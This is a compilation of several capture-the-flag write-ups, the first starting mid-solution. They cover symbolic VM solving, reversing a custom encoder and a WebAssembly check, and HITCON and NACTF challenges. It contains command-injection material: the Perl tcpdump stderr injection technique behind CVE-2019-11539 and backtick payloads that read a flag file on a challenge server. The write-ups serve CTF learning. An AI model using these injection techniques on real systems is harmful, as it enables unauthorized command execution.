```predefined_inputs = [[z3.BitVec(f'flag[{i}]', 8) for i in range(24)]]...if code == 0x13: gptr_element = gptr[stack.pop()] if len(predefined_inputs) == 0: gptr_element[:len(raw)] = input().encode() else: gptr_element[:len(raw)] = predefined_inputs.pop(0)```
Now fix up a few operations to deal with the symbolic world, e.g. replace `==`,which would otherwise end up doing comparison of Python objects, with a littlebit more elaborate
```def eq(a, b): if type(a) is int: cond = b == a else: cond = a == b if type(cond) is bool: return 1 if cond else 0 else: return z3.If(cond, 1, 0)```
This would keep us in the concrete world as long as possible, slipping intosymbolic world only when necessary. What to do with `jnz`? Well, the propersolution would be to fork two symbolic states and explore them both. But the`chal.evm` logic is too simple for that. Let's just ask z3 to produce two samplevalues for "then" and "else" branches:
```can_be_0 = check(arg1 == 0)if str(can_be_0) == 'unsat': pc = arg0else: m0 = model(can_be_0) cannot_be_0 = check(arg1 != 0) if str(cannot_be_0) == 'unsat': pc += 1 else: m1 = model(cannot_be_0) print(m0) print(m1) raise Exception('Too dumb to fork')```
We get:
```{flag[11]: '\x80', flag[12]: '\x01', ...}{flag[11]: 'e', flag[12]: '\x01', ...}Exception: Too dumb to fork```
Well, now we know 11th character is `e` (no way it's `\x80`). Now let's go backto symbolic value initialization, set
```predefined_inputs[0][11] = ord(b'e')```
and repeat this manually 23 more times. Of course a more elegant solution, whichwould involve determining which of the two sets of possible values contains justone element, is possible, but we just want to solve the goddamn riddle, aren'twe?
Filling all 24 array entries reveals the password, and said password makes thebytecode print the flag! |
# decodeme

We are provided with a `decodeme.png.enc` that contains a tonne of characters like the set below:
```EA\6<VG?OKO@ez?c` lCMybc^>=Z8*c5G``HTxu{L6tb1?&lG,{EaO*&Y16%L?sUO|`syVD4Eg/cb6>'V?*`pTz_,6Q|bGM-Itr6_Ac~yzI?\tlTQZ_?lHMFyGJb+? s9ZG/_yqx.ej`5#ArEDX%K-\*6{o<TJeVjitNXijH#Qr` {tXXq5MONLI)~Wv CGC _d6dsX,>pDcZ66$ELTeF[M-dLbV[l\{VXTLjHd?bO)WV{%a._`TUXoZ.s~gbsG}yOjsOcRl?iE[ODoZ?JesMoa,/rsLDrNXEFWK:B`/ZRL@JaAX-ziV_$<FeNQ^zrIi@r[a8,coKg&O/ziL/{i co/-|ccdWi,RvvR~iO,Ng`cGl|ZMbiE[E_IDbRZRVjliOtUy[,(Kr!Lcd8TCsvW}TjA#{N Lz_TVVM"~{.|dvXF}0GZes ey\UE^RWR*?.YA\W`_L)sGbXL-l{01AT|)Rz'`. 5r?E\-TrU+ w Az,gZ{b& >lh/5lWjZ"_06EbsWN,d #:Mcg[c(zXZ[Wr,r<5r aFKt<srBH?|ezU:~[sw`_rI_c4 byB#epypNiMbWO```
Alongside this is a file called `encoder.pyc`. This file is the compiled modules for the Python interpreter. This can be trivially reversed to produce perfect python code. This was achieved using [uncompyle2](https://github.com/Mysterie/uncompyle2) and provided us with the file `encoder.py`.
`encoder.py` contains the code that 'encrypted' the `decodeme.png`. We therefore need to find a way to reverse the encryption on the file.
## `encoder.py`
The decompiled code is below:
```pythonimport base64, string, sysfrom random import shuffle
def encode(f, inp): s = string.printable init = lambda : (list(s), []) bag, buf = init()
for x in inp: if x not in s: continue while True: r = bag[0] bag.remove(r) diff = (ord(x) - ord(r) + len(s)) % len(s) if diff == 0 or len(bag) == 0: shuffle(buf) f.write(str.encode(('').join(buf))) f.write(b'\x00') bag, buf = init() shuffle(bag) else: break
buf.extend(r * (diff - 1)) f.write(str.encode(r))
shuffle(buf) f.write(str.encode(('').join(buf)))
if __name__ == '__main__':
fileName = "desc.txt"
with open(fileName, 'rb') as (r): w = open(fileName + '.enc', 'wb') b64 = base64.b64encode(r.read()).decode("utf-8") encode(w, b64)```
The code when encoding loaded in the `.png` file and encoded it as `base64`. The encoding algorithm was then performed on this `base64` string.
The first thing that stood out to me was the use of the `random.shuffle()` function. This takes a list a shuffles its order. This is an interesting area as you would assume randomness makes it infeasible to reverse. We'll come back to this later.
Lets take a look at the steps of the algorithm:
It begins by created a `bag` and `buf`:
```pythons = string.printableinit = lambda : (list(s), [])bag, buf = init()```
`string.printable` == `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_``{|}~ \t\n\r\x0b\x0c`
The `bag` contains the list of printable strings and the buffer is an empty list.
The program will then loop around for each character in the input:
```pythonfor x in inp: if x not in s: continue while True: r = bag[0] bag.remove(r) diff = (ord(x) - ord(r) + len(s)) % len(s)```
And will calculate the `diff` value. The value of `r` is then removed from the bag.
The code will then check if the `diff==0` or the `bag` is empty.
If either are `true` the code will print out the current state of `buf` add a `\x00`, init the `bag` and `buf` and finish with a shuffle of the `bag`.
This is shown by the code below:```pythonshuffle(buf)f.write(str.encode(('').join(buf)))f.write(b'\x00')bag, buf = init()shuffle(bag)```
If both are `false` the code will add into the `buf` `r` multiplied by the `diff - 1` and will print the value of `r`.
This is also shown by the code:
```pythonbuf.extend(r * (diff - 1))f.write(str.encode(r))```
## Decodings
### Step 1 - Gathering valuesNow, working our way backwards we need to split each section by the null characters.
This should give us each 'block'. A block should be structured like so:
```[ Values of R ][XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX]```
Where `X` is the values of the shuffles buffer. Now, because the data is composed of an alphabet samples from the values of `r` scanning up until we find a duplicated character should give us the values of `r` used in this block!
This can then be used to look around and count the number of occurrence of each character. This value gives us the sum of `diff - 1`.
This functionality can be seen in this code that processes each block:
```python# Find output for rseen = []r_output = ""
for s in section:
if s in seen: break else: seen.append(s) r_output += s
# Grabs the remaining part of the sectiondata_output = section[len(r_output):]
# Counts the number of character occurancechar_count = {}for u in set(list(data_output)): char_count.update({u : data_output.count(u)})```
The order for the `r` string is only order that is useful. Therefore, the shuffling of the `buf` values does not stop us from reversing the encoding.
# Step 2 - Recover original text
We now need to use the values we've found to recover the char value of `x`. However, when `diff` is calculated the mod of `s` is taken, this means there will be realistically two potential values for each value for `diff`.
For example if the value of `r` is `48`, with a `diff` value of this provides us with a value of `57`. We can calculate the value of `x` as `5` mod 100 (value of `s`).
The code is below:```pythonx = (diff + ord(r)) % 100```
This means we have two potential values for x. `\x05` or `i` (`x + 100`). By checking these against the character set for a valid `base64` value we can determine the valid potential characters.
The final situation we need to check for is the satiation when there is a character in the `r` string that does not exist in the data section. This will occur when the `diff` is equal to one, this is due to the line:
```pythonbuf.extend(r * (diff - 1))```
This will make `diff` is equal to zero, and will result in the character `r` not being added to list.
In summary here is the code that performs this functionality:
```pythonfor r in r_output:
if r not in char_count: diff = 0 + 1 else: diff = char_count[r] + 1
x = (diff + ord(r)) % 100
if chr(x) not in BASE64_CHARS: recovered_string += chr(x + 100) else: recovered_string += chr(x)```
Putting all these aspects together in a script called `decoder.py`.
Running the script provides us with the image and therefore the flag:

```FLAG: flag-6f38426c5963729d``` |
# inwasmble

We're initially provided with a simple web [page](https://2019.squarectf.com/static/files/7a32fbe18afbbd9f_inwasmble.html).

We can provide input:

Putting a break point in the Firefox console lets us walkthrough the operation of the box.

Inspection into the source code of the web page gives us this `javascript`:
```javascriptvar code = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x15, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x08, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x00, 0x00, 0x0a, 0x87, 0x01, 0x01, 0x84, 0x01, 0x01, 0x04, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x02, 0x40, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x41, 0x20, 0x46, 0x0d, 0x01, 0x41, 0x02, 0x21, 0x02, 0x41, 0x00, 0x21, 0x01, 0x02, 0x40, 0x03, 0x40, 0x20, 0x00, 0x20, 0x01, 0x46, 0x0d, 0x01, 0x20, 0x01, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6c, 0x21, 0x02, 0x20, 0x01, 0x41, 0x01, 0x6a, 0x21, 0x01, 0x0c, 0x00, 0x0b, 0x0b, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x20, 0x02, 0x41, 0x01, 0x6a, 0x36, 0x02, 0x00, 0x20, 0x00, 0x2d, 0x00, 0x00, 0x20, 0x00, 0x41, 0x80, 0x01, 0x6a, 0x2d, 0x00, 0x00, 0x73, 0x20, 0x00, 0x41, 0x04, 0x6c, 0x41, 0x80, 0x02, 0x6a, 0x2d, 0x00, 0x00, 0x47, 0x0d, 0x02, 0x20, 0x00, 0x41, 0x01, 0x6a, 0x21, 0x00, 0x0c, 0x00, 0x0b, 0x0b, 0x41, 0x01, 0x0f, 0x0b, 0x41, 0x00, 0x0b, 0x0b, 0x27, 0x01, 0x00, 0x41, 0x80, 0x01, 0x0b, 0x20, 0x4a, 0x6a, 0x5b, 0x60, 0xa0, 0x64, 0x92, 0x7d, 0xcf, 0x42, 0xeb, 0x46, 0x00, 0x17, 0xfd, 0x50, 0x31, 0x67, 0x1f, 0x27, 0x76, 0x77, 0x4e, 0x31, 0x94, 0x0e, 0x67, 0x03, 0xda, 0x19, 0xbc, 0x51 ]); var wa = new WebAssembly.Instance(new WebAssembly.Module(code)); var buf = new Uint8Array(wa.exports.memory.buffer); async function go() { sizes = [...[...Array(4)].keys()].map(x=>x*128); buf.set(x.value.substr(sizes[0], sizes[1]).padEnd(sizes[1]).split('').map(x=>x.charCodeAt(''))); if (wa.exports.validate()) { hash = await window.crypto.subtle.digest("SHA-1", buf.slice(sizes[2], sizes[3])); r.innerText = "\uD83D\uDEA9 flag-" + [... new Uint8Array(hash)].map(x => x.toString(16)).join(''); } else { r.innerHTML = x.value == "" ? " " : "\u26D4"; }}```
As it can be seen we will have to reverse some `WebAssembly`!
`WebAssembly` is effectively a portable binary code format that can be used to imbed assembly code into websites.
Stepping further into the code gives us this `WebAssembly` code:
```wat(module (type $type0 (func (result i32))) (memory (;0;) 1) (export "memory" (memory 0)) (export "validate" (func $func0)) (func $func0 (result i32) (local $var0 i32) (local $var1 i32) (local $var2 i32) (local $var3 i32) i32.const 0 set_local $var0 block $label3 block $label0 loop $label4 get_local $var0 i32.const 32 i32.eq br_if $label0 i32.const 2 set_local $var2 i32.const 0 set_local $var1 block $label1 loop $label2 get_local $var0 get_local $var1 i32.eq br_if $label1 get_local $var1 i32.const 4 i32.mul i32.const 256 i32.add i32.load get_local $var2 i32.mul set_local $var2 get_local $var1 i32.const 1 i32.add set_local $var1 br $label2 end $label2 end $label1 get_local $var0 i32.const 4 i32.mul i32.const 256 i32.add get_local $var2 i32.const 1 i32.add i32.store get_local $var0 i32.load8_u get_local $var0 i32.const 128 i32.add i32.load8_u i32.xor get_local $var0 i32.const 4 i32.mul i32.const 256 i32.add i32.load8_u i32.ne br_if $label3 get_local $var0 i32.const 1 i32.add set_local $var0 br $label4 end $label4 end $label0 i32.const 1 return end $label3 i32.const 0 ) (data (i32.const 128) "Jj[`\a0d\92}\cfB\ebF\00\17\fdP1g\1f'vwN1\94\0eg\03\da\19\bcQ" ))```
After a long time stepping through the code it can be seen that the code is xoring the entered characters with the data string `"Jj[``\a0d\92}\cfB\ebF\00\17\fdP1g\1f'vwN1\94\0eg\03\da\19\bcQ"`.
From the example below the stack contains the character entered 104 (`h`) and the xor value 74 (`J` the first value of the Xor string)

Jumping to next check `i32.ne` that checks for equality:

Looking at the stack gives the output of the pervious XOR operation and the expected value `3`.
The expected value of the password can be calculated using the xor of the character in the xor string and the expected:
```char_of_pass = XOR_Char ^ Expected_Value```
In this example this gives: 73 (`I`).
After further stepping through I can see that every 4 bytes from the index 256 in the scripts memory has the expected character.
The buf slice from 256 can be seen below:

It fills in for every correct character.
After manual extracting these values from the `buf` and adding them to a very simple script:
```pythontarget = [ 3, 7, 43, 15, 211, 23, 251, 31, 163, 39, 203, 47, 115, 55, 155, 63, 67, 71, 107, 79, 19, 87, 59, 95, 227, 103, 11, 111, 179, 119, 219, 127 ]
xor_string = b"Jj[`\xa0d\x92}\xcfB\xebF\x00\x17\xfdP1g\x1f'vwN1\x94\x0eg\x03\xda\x19\xbcQ"
for i, x in enumerate(xor_string): print(chr(x ^ target[i]), end="")
print()```
The correct input, therefore, is:
```Impossible is for the unwilling.```
Entering this gives us the flag:

```FLAG: flag-bee523b8ed974cb8929c3a5f2d89e4fb99694a2``` |
# Virtual Public Network*HITCON CTF 2019 Qual ? 183**Writeup by Payload, KAIST GoN*
## Problem
Vulnerable Point of Your Network :)[http://13.231.137.9](http://13.231.137.9)
## Look up
It's a good habit that check the HTML source code when website is given. Then we can find some comments.
```html
```
In two links, we can download two files [diag.cgi](src/diag.cgi) and [DSSafe.pm](src/DSSafe.pm)
`diag.cgi` has 2 features mainly, do `tcpdump` and `backdoor`
```perlsub tcpdump_options_syntax_check { my $options = shift; return $options if system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") == 0; return undef;} # backdoor :)my $tpl = CGI::param("tpl");if (length $tpl > 0 && index($tpl, "..") == -1) { $tpl = "./tmp/" . $tpl . ".thtml"; require($tpl);}```
So, when we provide `tpl` parameter in GET request, diag.cgi will include it and run as perl cgi.
## orange's Perl 101 in Black Hat
Every year, orange (author of problem) announced coooool skills.
CVE-2019-11539 introduced great command injection technique using stderr. The main key point is the error message of tcpdump, `tcpdump: (filename): No such file or directory`. If user give filename as `print 123#`, then the error message will be `tcpdump: print 123#: No such file or directory`. It's normal error message familar with us, however it's also valid perl script! For details, please check [orange's blog article](http://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html)
Kindly, blog article also teaching us full exploit, I quickly write exploit script in python to execute arbitrary command in server. [exp.py](./exp.py)
## Execute
To find a flag, firstly I looked up root directory, and I found two files, `FLAG` and `$READ_FLAG$`. Of coursely, just run a `$READ_FLAG` binary will print flag. However, dollar sign has special role, some trick is needed to execute binary.
?(question mark) is a wildcard chracter that only matches one letter, thus `/?READ_FLAG?` is representation of `/$READ_FLAG$`. Great!
**`hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}`** |
# Newark Academy CTF 2019 Writeup[CTFTime link](https://ctftime.org/event/869) | [Website](https://www.nactf.com/)
## Challenges
### [Cryptography](#cryptography\-1) - [x] Vyom's Soggy Croutons (50) - [x] Loony Tunes (50) - [x] Reversible Sneaky Algorithm #0 (125) - [x] Reversible Sneaky Algorithm #1 (275) - [x] Reversible Sneaky Algorithm #2 (350) - [x] Dr.J's Group Test Randomizer: Board Problem #0 (100) - [ ] Dr.J's Group Test Randomizer: Board Problem #1 (300) - [ ] Dr.J's Group Test Randomizer: Board Problem #2 (625) - [ ] Syper Duper AES (250)### [Reverse Engineering](#reverse-engineering\-1) - [x] Keygen (600)### [General Skills](#general-skills\-1) - [x] Intro to Flags (10) - [x] Join the Discord (25) - [x] What the HEX? (25) - [x] Off-base (25) - [x] Cat over the wire (50) - [x] Grace's HashBrowns (50) - [x] Get a GREP #0! (100) - [x] Get a GREP #1! (125) - [x] SHCALC (200) - [x] Cellular Evolution #0: Bellsprout (75) - [x] Cellular Evolution #1: Weepinbell (125) - [x] Cellular Evolution #2: VikTreebel (150) - [ ] Cellular Evolution #3: BBOB (600) - [ ] Hwang's Hidden Handiwork (100)### [Binary Exploitation](#binary-exploitation\-1) - [x] BufferOverflow #0 (100) - [x] BufferOverflow #1 (200) - [x] BufferOverflow #2 (200) - [x] Format #0 (200) - [x] Format #1 (250) - [ ] Loopy #0 (350) - [ ] Loopy #1 (500)### [Forensics](#forensics\-1) - [x] Least Significant Avenger (50) - [x] The MetaMeme (75) - [x] Unzip Me (150) - [x] Kellen's Broken File (150) - [x] Kellen's PDF sandwich (150) - [x] Filesystem Image (200) - [x] Phuzzy Photo (250) - [x] File recovery (300) - [ ] My Ears Hurt (75)### [Web Exploitation](#web-exploitation\-1) - [x] Pink Panther (50) - [x] Scooby Doo (100) - [x] Dexter's Lab (125) - [x] Sesame Street (150)
* * *# [Cryptography]* * *
## Vyom's Soggy Croutons (50)
#### Description> Vyom was eating a CAESAR salad with a bunch of wet croutons when he sent me this: ertkw{vk_kl_silkv}. Can you help me decipher his message?
#### Hint> You don't have to decode it by hand -- Google is your friend!
#### SolutionThanks to description, we know that the cipher is CAESAR. The shift key will be `ord('n') - ord('e') = 9`.So, we can decrypt it using some online tools like [Cryptii](https://cryptii.com/) or writing python code:```pythoncipher = 'ertkw{vk_kl_silkv}'key = ord('n') - ord('e')plain = ''.join([chr((ord(c)-ord('a')+key)%26+ord('a')) if (ord(c)>=ord('a') and ord(c)<=ord('z')) else c for c in cipher])print(plain)```#### Flag`nactf{et_tu_brute}`
* * *
## Loony Tunes (50)
#### Description> Ruthie is very inhumane. She keeps her precious pigs locked up in a pen. I heard that this secret message is the password to unlocking the gate to her PIGPEN. Unfortunately, Ruthie does not want people unlocking the gate so she encoded the password. Please help decrypt this code so that we can free the pigs! P.S. "\_" , "{" , and "}" are not part of the cipher and should not be changed. P.P.S the flag is all lowercase
#### File
#### SolutionThe description refers to pig many times, in order to refer to **Pigpen Cipher**
Using the cihper scheme, we can easily decrypt it
#### Flag`nactf{th_th_th_thats_all_folks}`
* * *
## Reversible Sneaky Algorithm #0 (125)
#### Description> Yavan sent me these really large numbers... what can they mean? He sent me the cipher "c", the private key "d", and the public modulus "n". I also know he converted his message to a number with ascii. For example:
> "nactf" --> \x6e61637466 --> 474080310374
> Can you help me decrypt his cipher?
#### Hint> Read about RSA at https://en.wikipedia.org/wiki/RSA_(cryptosystem)
> If you're new to RSA, you may want to try this tool: https://www.dcode.fr/modular-exponentiation. If you like python, try the pow() function!
#### File- [rsa.txt](Files/rsa.txt)
#### SolutionThis is a RSA chal. We have public key (n,c), and we also have private key (d). That's enough for decryption.
- [RSA_0.py](Code/RSA_0.py)
#### Flag`nactf{w3lc0me_t0_numb3r_th30ry}`
* * *
## Reversible Sneaky Algorithm #1 (275)
#### Description> Lori decided to implement RSA without any security measures like random padding. Must be deterministic then, huh? Silly goose!
> She encrypted a message of the form nactf{****} where the redacted flag is a string of 4 lowercase alphabetical characters. Can you decrypt it?
> As in the previous problem, the message is converted to a number by converting ascii to hex.
#### Hint> The flag seems pretty short... can you brute-force it?
> (Note: By brute-force, we do not mean brute-forcing the flag submission - do not SUBMIT dozens of flags. Brute force on your own computer.)
#### File- [ReversibleSneakyAlgorithm.txt](Files/ReversibleSneakyAlgorithm.txt)
#### SolutionNow we just have public key (n,e,c) and n is too big. We can't factorize n.But the cipher space is small: `26^4 = 456976`. So we can brute force it.
- [RSA_1.py](Code/RSA_1.py)
#### Flag`nactf{pkcs}`
* * *
## Reversible Sneaky Algorithm #2 (350)
#### Description> Oligar was thinking about number theory at AwesomeMath when he decided to encrypt a message with RSA. As a mathematician, he made various observations about the numbers. He told Molly one such observation:
> a^r ≡ 1 (mod n)
> He isn't SHOR if he accidentally revealed anything by telling Molly this fact... can you decrypt his message?
> Source code, a and r, public key, and ciphertext are attached.
#### Hint> I'm pretty SHOR Oligar was building a quantum computer for something...
#### File- [shor.py](Files/shor.py)- [oligarchy.pem](Files/oligarchy.pem)- [are_you_shor.txt](Files/are_you_shor.txt)
#### SolutionFrom description and hint, we know that we need to use [SHOR algorithm](https://en.wikipedia.org/wiki/Shor%27s_algorithm) to sovle the chal.Based on the *algorithm*, we know that if ```f(x+r) = f(x) with f(x) = a^x mod (n)```then `r` divides `phi(n)`, where `phi(n)` denotes *Euler's totient function*.If we choose x=0 then:```f(r) = a^r mod (n)f(0) = a^0 mod (n) = 1 mod (n)```Because of `f(r) = f(0)`, so `r` divides `phi(n)`, or `phi(n) = k.r`. We just need to brute force `k`.Once we know `phi(n)` and `n`, we can find out `p` and `q`. And that's enough. We can decrypt the cipher.
- [RSA_2.py](Code/RSA_2.py)
#### Flag`nactf{d0wn_wi7h_7h3_0lig4rchy}`
* * *
## Dr. J's Group Test Randomizer: Board Problem #0 (100)
#### Description> Dr. J created a fast pseudorandom number generator (prng) to randomly assign pairs for the upcoming group test. Leaf really wants to know the pairs ahead of time... can you help him and predict the next output of Dr. J's prng? Leaf is pretty sure that Dr. J is using the middle-square method.
> nc shell.2019.nactf.com 31425
> The server is running the code in class-randomizer-0.c. Look at the function nextRand() to see how numbers are being generated!
#### Hint> The middle-square method is completely determined by the previous random number... you can use a calculator and test that this is true!
#### File- [class-randomizer-0.c](Files/class-randomizer-0.c)
#### ChalIn the chal, Server gives us the current random number. We need to guess the 2 next random numbers.```bash$ nc shell.2019.nactf.com 31425
Welcome to Dr. J's Random Number Generator v1! [r] Print a new random number [g] Guess the next two random numbers and receive the flag! [q] Quit
> r311696200206400> g
Guess the next two random numbers for a flag! You have a 0.0000000000000000000000000000001% chance of guessing both correctly... Good luck!Enter your first guess:> 3523452342345That's incorrect. Get out of here!```
#### SolutionReview the code, I found out that the nextRand() function will create new seed based on the previous one:```cuint64_t nextRand() { // Keep the 8 middle digits from 5 to 12 (inclusive) and square. seed = getDigits(seed, 5, 12); seed *= seed; return seed;}```So, we can calculate the 2 next seeds easily.
- [random_0.py](Code/random_0.py)
#### Flag`nactf{1_l0v3_chunky_7urn1p5}`
* * *# [Reverse Engineering]* * *
## Keygen (100)
#### Description> Can you figure out what the key to this program is?
#### Hint> Don't know where to start? Fire up a debugger, or look for cross-references to data you know something about.
#### File- [keygen-1](Files/keygen-1)
#### SolutionUsing IDA to decompile the binary, we got [this](Code/keygen-1.c). 2 important functions:```cbool __cdecl sub_804928C(char *s){ if ( strlen(s) != 15 ) return 0; if ( s != strstr(s, "nactf{") ) return 0; if ( s[14] == 125 ) return sub_80491B6(s + 6) == 21380291284888LL; return 0;}```
So flag is **nactf{xxxxxxxx}**. We have to find out 8 characters in brackets. I will denotes it: **nactf{X}**.```c__int64 __cdecl sub_80491B6(_BYTE *a1){ _BYTE *i; // [esp+4h] [ebp-Ch] __int64 v3; // [esp+8h] [ebp-8h]
v3 = 0LL; for ( i = a1; i < a1 + 8; ++i ) { v3 *= 62LL; if ( *i > 64 && *i <= 90 ) v3 += (char)*i - 65; if ( *i > 96 && *i <= 122 ) v3 += (char)*i - 71; if ( *i > 47 && *i <= 57 ) v3 += (char)*i + 4; } return v3;}```
After doing some math stuffs, we finally got this:```v3 = 62^7 * x1 + 62^6 * x2 + ... + 62 * x7 + x8with v3 = 21380291284888 x[i] = X[i] - 65 if (X[i] > 64 && X[i] <= 90) x[i] = X[i] - 71 if X[i] > 96 && X[i] <= 122 x[i] = X[i] + 4 if X[i] > 47 && X[i] <= 57```
We can easily calculate **X** from v3.
- [keygen.py](Code/keygen.py)
#### Flag`nactf{xxxxxxxx}`
***# General Skills***
## Intro to Flags (10)
#### Description> Your flag is nactf{w3lc0m3_t0_th3_m4tr1x}
#### Flag`nactf{1nsp3ct_b3tter_7han_c10us3au}`
***
## Join the Discord (25)
#### Description> Go to the NACTF home page and find the link to the Discord server. A flag will be waiting for you once you join. So will Austin.
#### Flag`nactf{g00d_luck_h4v3_fun}`
***
## What the HEX? (25)
#### Description> What the HEX man! My friend Elon just posted this message and I have no idea what it means >:( Please help me decode it:https://twitter.com/kevinmitnick/status/1028080089592815618?lang=en. Leave the text format: no need to add nactf{} or change punctuation/capitalization
#### Hint> online converters are pretty useful
#### SolutionCipher is```49 20 77 61 73 2e 20 53 6f 72 72 79 20 74 6f 20 68 61 76 65 20 6d 69 73 73 65 64 20 79 6f 75 2e```Decode:```pythonc = '49 20 77 61 73 2e 20 53 6f 72 72 79 20 74 6f 20 68 61 76 65 20 6d 69 73 73 65 64 20 79 6f 75 2e'p = c.replace(' ','').decode('hex')print(p)```
#### Flag`I was. Sorry to have missed you.`
***
## Off-base (25)
#### Description> It seems my friend Rohan won't stop sending cryptic messages and he keeps mumbling something about base 64. Quick! We need to figure out what he is trying to say before he loses his mind...
> bmFjdGZ7YV9jaDRuZzNfMGZfYmE1ZX0=
#### SolutionIt is base64 encode.```pythonprint('bmFjdGZ7YV9jaDRuZzNfMGZfYmE1ZX0='.decode('base64'))```
#### Flag`nactf{a_ch4ng3_0f_ba5e}`
***
## Cat over the wire (50)
#### Description> Open up a terminal and connect to the server at shell.2019.nactf.com on port 31242 and get the flag!Use this netcat command in terminal:
> nc shell.2019.nactf.com 31242
#### Flag`nactf{th3_c4ts_0ut_0f_th3_b4g}`
***
## Grace's HashBrowns (50)
#### Description> Grace was trying to make some food for her family but she really messed it up. She was trying to make some hashbrowns but instead, she made this:**f5525fc4fc5fdd42a7cf4f65dc27571c**.I guess Grace is a really bad cook. But at least she tried to add some md5 sauce.remember to put the flag in nactf{....}
#### SolutionUsing online [tools](https://hashkiller.co.uk/Cracker) to decrypt MD5
#### Flag`nactf{grak}`
***
## Get a GREP #0 (100)
#### Description> Vikram was climbing a chunky tree when he decided to hide a flag on one of the leaves. There are 10,000 leaves so there's no way you can find the right one in time... Can you open up a terminal window and get a grep on the flag?
#### Hint> You'll need to add an option to the grep command: look up recursive search!
#### File- [bigtree.zip](Files/bigtree.zip)
#### Solution```bash$ grep -r nactf ../branch8/branch3/branch5/leaf8351.txt:nactf{v1kram_and_h1s_10000_l3av3s}```
#### Flag`nactf{v1kram_and_h1s_10000_l3av3s}`
***
## Get a GREP #1 (125)
#### Description> Juliet hid a flag among 100,000 dummy ones so I don't know which one is real! But maybe the format of her flag is predictable? I know sometimes people add random characters to the end of flags... I think she put 7 random vowels at the end of hers. Can you get a GREP on this flag?
#### Hint> Look up regular expressions (regex) and the regex option in grep!
#### File- [flag.txt](Files/flag.txt)
#### Solution```bashgrep -e [aeiou][aeiou][aeiou][aeiou][aeiou][aeiou][aeiou]} flag.txt```
#### Flag`nactf{r3gul4r_3xpr3ss10ns_ar3_m0r3_th4n_r3gul4r_euaiooa}`
***
## SHCALC
#### Description> John's written a handy calculator app - in bash! Too bad it's not that secure...
> Connect at nc shell.2019.nactf.com 31214
#### Hint> Heard of injection?
#### SolutionThis is code injection. So we will inject code like this:```bash$ nc shell.2019.nactf.com 31214shcalc v1.1> `ls` sh: 1: arithmetic expression: expecting EOF: "calc.shflag.txt"> `cat flag.txt`sh: 1: arithmetic expression: expecting EOF: "nactf{3v4l_1s_3v1l_dCf80yOo}"> ```
#### Flag`nactf{3v4l_1s_3v1l_dCf80yOo}`
***
## Cellular Evolution #0: Bellsprout (75)
#### Description> Vikram Loves Bio!He loves it so much that he started growing Cellular Automata in a little jar of his. He hopes his Cellular Automata can be as strong as HeLa Cells. He has so many cells growing that he decided to hire you to help him with his project. Can you open these files and follow Vikram's instructions?Use the flag format nactf{...}
#### Hint> Its probably good practice to put all of these files inside of a folder
> Cells colored white represent 0's and cells colored black represent 1's.
#### File- [Cell.jar](Files/cellular0/Cell.jar)- [inpattern.txt](Files/cellular0/inpattern.txt)- [Vikrams_Instructions.txt](Files/cellular0/ikrams_Instructions.txt)
#### SolutionIn linux, run `Cell.jar` using command `java -jar Cell.jar`.Click **InPat**, type `E` in Program box, click **Parse**, then click **Step** 17 times. Click **OutPat**, open `outpattern.txt`, we got:``` 1 1 . 1 . . . . 1 1 . 1 1 . . . 1 1 . . . . 1 . 1 1 . . . 1 1 . 1 1 . 1 . 1 1 . 1 1 1 . . 1 1 ```Change the sequece to bit strings, and convert to ascii```pythonc = ' 1 1 . 1 . . . . 1 1 . 1 1 . . . 1 1 . . . . 1 . 1 1 . . . 1 1 . 1 1 . 1 . 1 1 . 1 1 1 . . 1 1'd = c.replace('.','0').replace(' ','')print(hex(int(d,2))[2:].decode('hex'))```
#### Flag`nactf{hlacks}`
***
## Cellular Evolution #1: Weepinbell (125)
#### Description> Apparently, Vikram was not satisfied with your work because he hired a new assistant: Eric. Eric has been doing a great job with managing the cells but he has allergies. Eric sneezed and accidentally messed up the order of the cells. Can you help Eric piece the cells back together?btw, flag is all lowercase
#### Hint> This program is similar to Conway's "Game of Life"
#### File- [Cell.jar](Files/cellular1/Cell.jar)- [inpattern.txt](Files/cellular1/inpattern.txt)- [How_to_use_cell.jar.txt](Files/cellular1/How_to_use_cell.jar.txt)- [Erics_Instructions.txt](Files/cellular1/Erics_Instructions.txt)
#### SolutionProgram to Parse```NW == 4 : 3NE == 3 : 4SW == 1 : 2SE == 2 : 1 ```After 20 generations, we got this
#### Flag`nactf{ie_eid_ftw}`
***
## Cellular Evolution #2: VikTreebel (150)
#### Description> Thanks to your help, Eric and Vikram fixed their cells. Business is booming, and they're now a multinational megacorporation! They need bigger cells to meet demand: Eric used the rule "sum8" to evolve his cells to their next stage of evolution! Sum8 sets each cell to the sum of the cells around it (see examples). Eric sent us his evolved cells, but we want to know what they looked like before! Can you turn back time and get the flag?
#### Hint> Make sure your settings are the same as in the example images, except change "cell size" to medium.
> Submit your answer with the flag format nactf{}. Use all lowercase alphabetical characters.
> You can do this one by hand. It's like minesweeper!
